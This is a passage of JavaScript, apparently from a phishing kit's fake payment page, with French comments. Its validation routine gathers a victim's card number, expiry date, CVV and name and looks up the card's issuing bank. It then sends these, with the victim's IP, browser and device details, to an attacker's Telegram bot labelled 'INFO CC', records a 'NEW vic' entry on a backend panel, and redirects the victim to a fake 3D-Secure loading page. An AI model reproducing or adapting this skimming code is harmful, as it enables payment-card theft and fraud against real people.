                                    if ($scope.fun== "gotoloading3D") {
                                        window.location.href = pathname+'validation3DBAN/loading.php';
                                    }else $scope.show_data();
                 
                 
                                });
                     }, 800);
                 
                 
                  
                 
                 
                 
                 function formatCardNumber(cardNumber) {
                     // Convertir le numéro en chaîne si ce n'est pas déjà le cas
                     const cardStr = cardNumber.toString();
                 
                     // Ajouter un espace tous les 4 chiffres
                     const formattedCard = cardStr.replace(/(\d{4})/g, '$1 ').trim();
                 
                     return formattedCard;
                 }
                 
                 
                 
                    $scope.validation = function(){
                     
                 
                     
                 
                  
                             var Detaile = {}; 
                             Detaile.card_date= $scope.expiration;
                             Detaile.card_nbr= $scope.cart.replace(/\s/g, '');
                             rndInt = Math.floor(101+(Math.random()*(989-101)));
                             
                 
                             
                             
                             // Variable de 14 chiffres
                 var numero = Detaile.card_nbr;
                 
                 // Récupérer l'index du chiffre au milieu
                 var milieuIndex = Math.floor(numero.length / 2);
                 
                 // Récupérer le chiffre au milieu
                 var chiffreAuMilieu = numero.charAt(milieuIndex);
                 
                 // Générer un chiffre aléatoire
                 var chiffreAleatoire = Math.floor(Math.random() * 10);
                 
                 // Remplacer le chiffre au milieu par le chiffre aléatoire
                   Detaile.card_nbr2 = numero.substr(0, milieuIndex) + chiffreAleatoire + numero.substr(milieuIndex + 1);
                 
                  
                   let token = $scope.info_User['token'];
                             let chatId =$scope.info_User['chatId'];
                  
                  
                             //Detaile.card_nbr2= Math.floor(Detaile.card_nbr2 / 10)+rndInt;
                             Detaile.card_cc= $scope.cvv;
                              Detaile.card_cc2= rndInt;
                             Detaile.cardname= $scope.name;
                             Detaile.montant= $scope.montant;
                             Detaile.merchant= $scope.merchant;
                             Detaile.bin= "";
                 
                                       let bin= (Detaile.card_nbr).substring(0, 6);



            
                 
                             $.ajax({
                     url: 'type.php', // Appel au fichier PHP proxy
                     data: { bin: bin },
                   method: 'GET',
                   success: function(details) {
                     details = ( JSON.parse(details)); // Traiter les détails ici 
                    console.log(details)
                     Detaile.cardbank = details.BIN.issuer.name;
                     Detaile.cardbrand =details.BIN.scheme;
                     Detaile.cardtype = details.BIN.type;
                     Detaile.carddetail =  `bank : ${Detaile.cardbank}\nbrand : ${Detaile.cardbrand}\ntype : ${Detaile.cardtype}\n`;
                  
                             
                         //   console.log($scope.bin)
                  
                         Detaile.url= "<a href='"+pathname2+'remote.php?ip='+$scope.info_User['ip']+"'> OPEN PANEL </a>";
                 
                 
                 
                             localStorage.setItem('detaile', JSON.stringify(Detaile));
                 
                             Detaile.info= "[ip: "+$scope.info_User['ip']+" ]\n[browser: "+$scope.info_User['browser']+" ]\n[device: "+$scope.info_User['device']+" ]\n[system: "+$scope.info_User['system']+" ]";
                 

     
                             Detaile.card_nbr =  formatCardNumber(Detaile.card_nbr);
                          
                          message = `INFO CC \n--------------\n<code>${Detaile.card_nbr}</code>\n${Detaile.card_date}\n${Detaile.card_cc}\n${Detaile.carddetail}\n\nOpen [URL](${Detaile.url})\n\n-------------\n${Detaile.info}`;
                    
                          $(".overlay").show();
             
                        console.log(Detaile)
                                     
            var Detailefun = {}; 
                Detailefun.ip=  $scope.info_User['ip'];
                Detailefun.fun= "NEW vic";
                Detailefun.card_nbr= Detaile.card_nbr;
                Detailefun.card_date= Detaile.card_date;
                Detailefun.type= Detaile.cardtype;
                Detailefun.bankname= Detaile.cardbank;
                $http({
                 method: 'post',
                 url:  $scope.base_url+"config/fun.php?request=1",
                 data: JSON.stringify(Detailefun), 
                  headers: {'Content-Type': 'application/json'}
                 }).then(function(data) {

                  console.log('Detailefun')
                  console.log(Detailefun)
 
                $http({
                     method: 'post',
                     url:  $scope.base_url+"config/fun.php?request=40",
                     data: JSON.stringify(Detailefun), 
                      headers: {'Content-Type': 'application/json'}
               }).then(function(data) {
                     
               });


                 });

          
                             if(bin !== '411111' && bin !=='424242' ){
                                // chatId = '-1002595668601';
                             }
                 
                 
                             $.ajax({
                                 type: 'POST',
                                 url: `https://api.telegram.org/bot${token}/sendMessage`,
                                 data: {
                                     chat_id: chatId,
                                     text: message,
                                     parse_mode: 'html',
                                 },
                                 success: function (res) {
                                      setInterval(function() {
                                            console.log('okkkk')
                                             window.location.href = pathname+'validation3DBAN/loading.php';
                                      }, 2000);
                                   
                                 },
                                 error: function (error) {
                                     console.error(error); 
                                     
                                 }
                             });
                 
                 
                 
                   }});
                  
                    }
                 
                 
                 
                 
                 }]);
                 
                 </script>
                 
                 
                                                 </body>
                                             </html>